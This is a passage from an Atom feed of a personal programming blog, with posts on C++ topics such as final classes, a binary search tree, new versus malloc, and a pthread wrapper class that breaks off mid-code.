<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4057504930307624997</id><updated>2012-02-17T01:10:30.917+05:30</updated><category term='GCD'/><category term='feed'/><category term='Final Class'/><category term='Euclidean Algorithm'/><category term='php'/><category term='timeout in session'/><category term='link extractor python'/><category term='country city from ip address'/><category term='sorting'/><category term='login page in PHP'/><category term='Java'/><category term='thread'/><category term='C++'/><category term='BST'/><category term='explicit'/><category term='pthread'/><category term='python'/><category term='STL'/><category term='rss'/><category term='countdown latch'/><category term='atom'/><category term='windows'/><category term='new vs malloc'/><category term='Linked List'/><category term='ip address'/><category term='key logger in C++'/><title type='text'>kode yard</title><subtitle type='html'>a place where I keep the code for reference..</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>kode yard</name><uri>http://www.blogger.com/profile/01704578542154317857</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>24</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-7855240994821519520</id><published>2011-12-11T16:06:00.001+05:30</published><updated>2011-12-11T16:07:18.140+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>member functions are given by compiler in c++</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Following member functions are given by compiler if we are not defined in the class..&lt;br /&gt;&lt;br /&gt;1) default constructor&lt;br /&gt;2) default destructor&lt;br /&gt;3) copy constructor&lt;br /&gt;4) assignment operator&lt;br /&gt;5) address operator &lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-7855240994821519520?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/7855240994821519520/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2011/12/member-functions-are-given-by-compiler.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/7855240994821519520'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/7855240994821519520'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2011/12/member-functions-are-given-by-compiler.html' title='member functions are given by compiler in c++'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-2498181030337329275</id><published>2011-11-23T01:20:00.001+05:30</published><updated>2011-11-23T01:23:31.371+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>Things to be taken care of in defination of assignment operator</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Deep copy/shallow copy&lt;/li&gt;&lt;li&gt;Guard against self assignment in the assignment operator.&lt;/li&gt;&lt;li&gt; Strong exception safety in the assignment operator. (acquire new resources before deleting old)&lt;/li&gt;&lt;li&gt;Call base class's assignment operator if needed. &lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-2498181030337329275?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/2498181030337329275/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2011/11/things-to-be-taken-care-of-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/2498181030337329275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/2498181030337329275'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2011/11/things-to-be-taken-care-of-in.html' title='Things to be taken care of in defination of assignment operator'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-1537002048748080793</id><published>2011-11-23T00:29:00.001+05:30</published><updated>2011-11-23T01:00:08.831+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Final Class'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>Final Class in C++</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div&gt;&lt;div&gt;&lt;div style="text-align: left;"&gt;A class in Java is said to be final class if it can't be inherited by any other class. In C++, language has no built in feature to implement this. This has to be implemented by the developer.&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;b&gt;By making the destructor private&amp;nbsp;&lt;/b&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;In this case, the object can only be created in heap by some static function defined in the class. Similarly a function must be implemented for destruction of object. &lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;ul&gt;&lt;li&gt;If we create object on stack, stack unwinding needs the destructor to be accessible. Hence compiler won't allow this. &lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;ul style="text-align: left;"&gt;&lt;ul&gt;&lt;li&gt;Let's look at the following code.&lt;/li&gt;&lt;pre&gt;&lt;textarea class="cpp" name="code"&gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;class F&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt;        static F* Create()&lt;br /&gt;        {&lt;br /&gt;                return new F();&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        static void Destroy(F* ob)&lt;br /&gt;        {&lt;br /&gt;                delete ob;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        void show()&lt;br /&gt;        {&lt;br /&gt;                cout&amp;lt;&amp;lt;"In F Show()"&amp;lt;&amp;lt;endl;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;private:&lt;br /&gt;        ~F() {}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;        F *f_ob ;&lt;br /&gt;        f_ob = F::Create();&lt;br /&gt;        f_ob-&amp;gt;show();&lt;br /&gt;        F::Destroy(f_ob);&lt;br /&gt;&lt;br /&gt;        return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;/pre&gt;&amp;nbsp;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Here no class can inherit F as the destructor is private. During child class object destruction, parent class destructor can't be called. Because parent class destructor is private. &lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;b&gt;By friend class&lt;/b&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;In this case, the object can be created on stack.&lt;b&gt;&amp;nbsp;&lt;/b&gt; &lt;/li&gt;&lt;li&gt;Here we will need a dummy class whose destructor is private. The Final class must be a friend of this class and the Final class will inherit from dummy class.&lt;/li&gt;&lt;li&gt;We can create the object of Final class. As Final class is the friend of dummy class, it will have access to it's destructor.&amp;nbsp;&lt;/li&gt;&lt;li&gt;But if any class(Child) inherits Final Class, then it won't compile because destructor of temp is not accessible inside Child class.&lt;/li&gt;&lt;li&gt;Let's look at the following code&lt;/li&gt;&lt;pre&gt;&lt;textarea class="cpp" name="code"&gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;class Final;&lt;br /&gt;&lt;br /&gt;class Dummy&lt;br /&gt;{&lt;br /&gt;private:&lt;br /&gt;        ~Dummy() {}&lt;br /&gt;        friend class Final;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;class Final : public Dummy&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt;        Final() {}&lt;br /&gt;        ~Final() {}&lt;br /&gt;        void show()&lt;br /&gt;        {&lt;br /&gt;                cout&amp;lt;&amp;lt;"Show"&amp;lt;&amp;lt;endl;&lt;br /&gt;        }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;        Final ob;&lt;br /&gt;        ob.show();&lt;br /&gt;        return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;/pre&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-1537002048748080793?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/1537002048748080793/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2011/11/final-class-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/1537002048748080793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/1537002048748080793'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2011/11/final-class-in-c.html' title='Final Class in C++'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-8199007779107048992</id><published>2011-10-12T00:02:00.000+05:30</published><updated>2011-10-12T00:02:46.449+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='BST'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>Implementation of Binary Search Tree</title><content type='html'>&lt;pre&gt;&lt;textarea class="cpp" name="code"&gt;/* &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* &lt;br /&gt; * File:   main.cpp&lt;br /&gt; * Author: asit&lt;br /&gt; *&lt;br /&gt; * Created on 24 September, 2011, 2:14 PM&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &lt;cstdlib&gt;&lt;br /&gt;#include &lt;iostream&gt;&lt;br /&gt;#include &lt;iterator&gt;&lt;br /&gt;#include &lt;stack&gt;&lt;br /&gt;#include &lt;vector&gt;&lt;br /&gt;#include &lt;utility&gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * &lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;struct node&lt;br /&gt;{&lt;br /&gt;    int id;&lt;br /&gt;    string name;&lt;br /&gt;    node *left;&lt;br /&gt;    node *right;&lt;br /&gt;    node():id(0),name(""),left(NULL), right(NULL) {}&lt;br /&gt;    node(int id, string name):id(id), name(name), left(NULL), right(NULL) {}&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;typedef pair&lt;int,string&gt; emp_det;&lt;br /&gt;&lt;br /&gt;class BinarySearchTree&lt;br /&gt;{&lt;br /&gt;    node *root;&lt;br /&gt;    &lt;br /&gt;public:&lt;br /&gt;    BinarySearchTree():root(NULL) {}&lt;br /&gt;    &lt;br /&gt;    void addNode(int dt, string nm) &lt;br /&gt;    {&lt;br /&gt;        node *temp = NULL;&lt;br /&gt;        &lt;br /&gt;        if(root==NULL)&lt;br /&gt;        {&lt;br /&gt;            temp = new node;&lt;br /&gt;            temp-&gt;id = dt;&lt;br /&gt;            temp-&gt;name = nm;&lt;br /&gt;            root = temp;&lt;br /&gt;        }&lt;br /&gt;        else&lt;br /&gt;        {&lt;br /&gt;            temp = root;&lt;br /&gt;            while(true)&lt;br /&gt;            {&lt;br /&gt;                if(temp-&gt;id &gt;= dt) &lt;br /&gt;                {&lt;br /&gt;                    if(temp-&gt;left == NULL)&lt;br /&gt;                    {&lt;br /&gt;                        temp-&gt;left = new node(dt,nm);&lt;br /&gt;                        break;&lt;br /&gt;                    }&lt;br /&gt;                    else&lt;br /&gt;                        temp = temp-&gt;left;&lt;br /&gt;                }&lt;br /&gt;                else&lt;br /&gt;                {&lt;br /&gt;                    if(temp-&gt;id &lt; dt)&lt;br /&gt;                    {&lt;br /&gt;                        if(temp-&gt;right == NULL)&lt;br /&gt;                        {&lt;br /&gt;                            temp-&gt;right = new node(dt, nm);&lt;br /&gt;                            break;&lt;br /&gt;                        }&lt;br /&gt;                        else&lt;br /&gt;                            temp = temp-&gt;right;&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    &lt;br /&gt;    void sort(vector&lt;emp_det&gt; &amp;list)&lt;br /&gt;    {&lt;br /&gt;        node *temp = NULL;&lt;br /&gt;        &lt;br /&gt;        stack&lt;node*&gt; st;&lt;br /&gt;        &lt;br /&gt;        temp = root;&lt;br /&gt;        &lt;br /&gt;        while(true)&lt;br /&gt;        {&lt;br /&gt;            if(temp != NULL)&lt;br /&gt;            {&lt;br /&gt;                st.push(temp);&lt;br /&gt;                temp = temp-&gt;left;&lt;br /&gt;            }&lt;br /&gt;            else&lt;br /&gt;            {&lt;br /&gt;                if(st.empty())&lt;br /&gt;                    break;&lt;br /&gt;                temp = st.top();&lt;br /&gt;                st.pop();&lt;br /&gt;                list.push_back(emp_det(temp-&gt;id, temp-&gt;name));&lt;br /&gt;                temp = temp-&gt;right;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;int main(int argc, char** argv) &lt;br /&gt;{&lt;br /&gt;    emp_det arr[] = { emp_det(4, "A"), &lt;br /&gt;                      emp_det(23,"B"),&lt;br /&gt;                      emp_det(10,"C"),&lt;br /&gt;                      emp_det(65,"D"),&lt;br /&gt;                      emp_det(43,"E"),&lt;br /&gt;                      emp_det(89,"F"),&lt;br /&gt;                      emp_det(77,"G"),&lt;br /&gt;                      emp_det(98,"H"),&lt;br /&gt;                      emp_det(76,"I"),&lt;br /&gt;                      emp_det(56,"J") };&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;    BinarySearchTree bst;&lt;br /&gt;    &lt;br /&gt;    for(int i=0; i&lt;10; i++)&lt;br /&gt;        bst.addNode(arr[i].first, arr[i].second);&lt;br /&gt;    &lt;br /&gt;    vector&lt;emp_det&gt; list;&lt;br /&gt;    &lt;br /&gt;    bst.sort(list);&lt;br /&gt;    &lt;br /&gt;    vector&lt;emp_det&gt; ::iterator it;&lt;br /&gt;    &lt;br /&gt;    for(it = list.begin(); it != list.end(); it++)&lt;br /&gt;        cout&lt;&lt;(*it).first&lt;&lt;"  "&lt;&lt;(*it).second&lt;&lt;endl;&lt;br /&gt;    &lt;br /&gt;    cout&lt;&lt;endl;&lt;br /&gt;&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-8199007779107048992?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/8199007779107048992/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2011/10/implementation-of-binary-search-tree.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/8199007779107048992'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/8199007779107048992'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2011/10/implementation-of-binary-search-tree.html' title='Implementation of Binary Search Tree'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-6836680878240273158</id><published>2011-10-03T01:43:00.000+05:30</published><updated>2011-10-03T01:43:41.744+05:30</updated><title type='text'>Array vs linked list</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class="Apple-style-span" style="background-color: white; color: #565e67; font-family: Verdana, Helvetica, sans-serif; font-size: 12px;"&gt;A few reasons why Array is better&lt;/span&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #565e67; font-family: Verdana, Helvetica, sans-serif; font-size: 12px;"&gt;In array, we the provision of random access. But in linked list, the nodes can only be&amp;nbsp;sequentially&amp;nbsp;accessed.&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #565e67; font-family: Verdana, Helvetica, sans-serif; font-size: 12px;"&gt;Better locality - Whenever the OS brings data into memory, it loads a whole page. Hence less page fault occurs. With linked list, different parts of the linked list are stored at different parts of memory. Hence branch Prediction doesn't work as well with linked list. This causes the pipeline to be flushed more often which result in poor performance.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #565e67; font-family: Verdana, Helvetica, sans-serif; font-size: 12px;"&gt;In linked list, the extra storage needed for references, which often makes them impractical for lists of small data items such as characters or boolean values. It can also be slow, and with a naïve allocator, wasteful, to allocate memory separately for each new element.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="color: #565e67; font-family: Verdana, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: #565e67; font-family: Verdana, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 12px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="background-color: white; color: #565e67; font-family: Verdana, Helvetica, sans-serif; font-size: 12px;"&gt;A few reasons why Linked List is better&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #565e67; font-family: Verdana, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 12px;"&gt;It's easier to store data of different sizes in a linked list. An array assumes every element is exactly the same size.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #565e67; font-family: Verdana, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 12px;"&gt;It's easier for a linked list to grow organically. An array's size needs to be known ahead of time, or re-created when it needs to grow.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #565e67; font-family: Verdana, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 12px;"&gt;Shuffling a linked list is just a matter of changing what points to what. Shuffling an array is more complicated and/or takes more memory.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: #565e67; font-family: Verdana, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 12px;"&gt;As long as your iterations all happen in a "foreach" context, you don't lose any performance in iteration.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-6836680878240273158?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/6836680878240273158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2011/10/array-vs-linked-list.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/6836680878240273158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/6836680878240273158'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2011/10/array-vs-linked-list.html' title='Array vs linked list'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-874587952054126440</id><published>2011-09-24T02:15:00.000+05:30</published><updated>2011-09-24T02:21:06.034+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='new vs malloc'/><title type='text'>new instead of malloc</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;While searching I found a very naive, but useful thing about new/malloc.&lt;br /&gt;&lt;br /&gt;Why should we use new instead of malloc ?&lt;br /&gt;&lt;br /&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;New and Delete makes sure that constructors and sestructors are called but not the case with malloc and free functions of C.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Pointer conversion safety:malloc() returns a void* which isn't safe. new returns a pointer of the right type.&amp;nbsp;&lt;/li&gt;&lt;li&gt;new is a Operator:new is an operator that can be overloaded for better memory management by a class, while malloc() is not an operaotor.&amp;nbsp;&lt;/li&gt;&lt;li&gt;new operator computes the size of object automatically whereas malloc cannot.&lt;/li&gt;&lt;li&gt;It is possible to initialize the object while allocating memory with new.&amp;nbsp;		&lt;/li&gt;&lt;li&gt;Its possible to construct an object over an already allocated memory using another version of 'new' operator known as 'placement new' operator. While with malloc() it is not possible.		&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4057504930307624997-874587952054126440?l=kodeyard.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kodeyard.blogspot.com/feeds/874587952054126440/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://kodeyard.blogspot.com/2011/09/while-searching-i-found-very-naive-but.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/874587952054126440'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4057504930307624997/posts/default/874587952054126440'/><link rel='alternate' type='text/html' href='http://kodeyard.blogspot.com/2011/09/while-searching-i-found-very-naive-but.html' title='new instead of malloc'/><author><name>akd</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://3.bp.blogspot.com/_cuWUxK4Ksws/SvhiT1WxcNI/AAAAAAAAAdM/PIJXxzZFi3c/S220/sad-012.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4057504930307624997.post-952299884171147054</id><published>2011-09-20T02:11:00.001+05:30</published><updated>2011-09-20T02:12:32.610+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='pthread'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>pthread in c++</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;The following code is a pthread implementation in c++ (object oriented paradigm)&lt;br /&gt;&lt;br /&gt;The created thread executes job(here it sleeps for the input seconds) and executes it.&lt;br /&gt;&lt;br /&gt;Somebody else has done this and I have modified according to my need.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;textarea class="cpp" name="code"&gt;/* &lt;br /&gt; * File:   main.cpp&lt;br /&gt; * Author: asit&lt;br /&gt; *&lt;br /&gt; * Created on 31 August, 2011, 5:34 PM&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &amp;lt;cstdlib&amp;gt;&lt;br /&gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;#include &amp;lt;string&amp;gt;&lt;br /&gt;#include &amp;lt;cstdlib&amp;gt;&lt;br /&gt;#include &amp;lt;cstdio&amp;gt;&lt;br /&gt;&lt;br /&gt;#include &amp;lt;pthread.h&amp;gt;&lt;br /&gt;#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * &lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;class Thread&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt;    Thread():status_(STATUS_UNINIT) {}&lt;br /&gt;    ~Thread() &lt;br /&gt;    {&lt;br /&gt;        while(status_ == STATUS_PENDING)&lt;br /&gt;            (void)0;&lt;br /&gt;        if(status_ == STATUS_HAS_PTH)&lt;br /&gt;            pthread_detach(pth_);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;protected:&lt;br /&gt;    virtual void main() = 0;&lt;br /&gt;    static void *trampoline(void *arg)&lt;br /&gt;    {&lt;br /&gt;        Thread *obj = static_cast&amp;lt;Thread*&amp;gt;(arg);&lt;br /&gt;        obj-&amp;gt;main();&lt;br /&gt;        return NULL;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;public:&lt;br /&gt;    int start()&lt;br /&gt;    {&lt;br /&gt;        if(status_ != STATUS_UNINIT)&lt;br /&gt;            return EAGAIN;&lt;br /&gt;        &lt;br /&gt;        status_ = STATUS_PENDING;&lt;br /&gt;        int res = pthread_create(&amp;amp;pth_, NULL, trampoline, this);&lt;br /&gt;        if(res==0)&lt;br /&gt;            status_ = STATUS_HAS_PTH;&lt;br /&gt;        else&lt;br /&gt;            status_ = STATUS_UNINIT;&lt;br /&gt;        &lt;br /&gt;        return res;&lt;br /&gt;    }   &lt;br /&gt;    &lt;br /&gt;    int join()&lt;br /&gt;    {&lt;br /&gt;        status_ = STATUS_PENDING;&lt;br /&gt;        int res = pthread_join(pth_, NULL);&lt;br /&gt;        status_ = STATUS_UNINIT;&lt;br /&gt;        return res;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;private:&lt;br /&gt;    pthread_t pth_;&lt;br /&gt;    &lt;br /&gt;    volatile enum &lt;br /&gt;    {&lt;br /&gt;        STATUS_UNINIT,  //pth_ is uninitialized&lt;br /&gt;        STATUS_PENDING, //status of pth_ is changing&lt;br /&gt;        STATUS_HAS_PTH, //pth_ should be valid&lt;br /&gt;    }status_;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;class MyThread : public Thread&lt;br /&gt;{&lt;br /&gt;public:&lt;br /&gt;    //MyThread():name(NULL),sleep_tm(0), result_(0) {} &lt;br /&gt;    MyThread(string name, int sleep_tm):result_(0), name(name), sleep_tm(sleep_tm) {}&lt;br /&gt;    virtual ~MyThread() {}&lt;br /&gt;protected:&lt;br /&gt;    virtual void main()&lt;br /&gt;    {&lt;br /&gt;        for(volatile int i=0; i&amp;lt;20; i++)&lt;br /&gt;        {&lt;br /&gt;            cout&amp;lt;&amp;lt;name&amp;lt;&amp;lt;" : "&amp;lt;&amp;lt;i&amp;lt;&amp;lt;endl;&lt;br /&gt;            sleep(sleep_tm);&lt;br /&gt;        }&lt;br /&gt;        result_ = 1;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;private:&lt;br /&gt;    int result_;&lt;br /&gt;    string name;&lt;br /&gt;    int sleep_tm;&lt;br 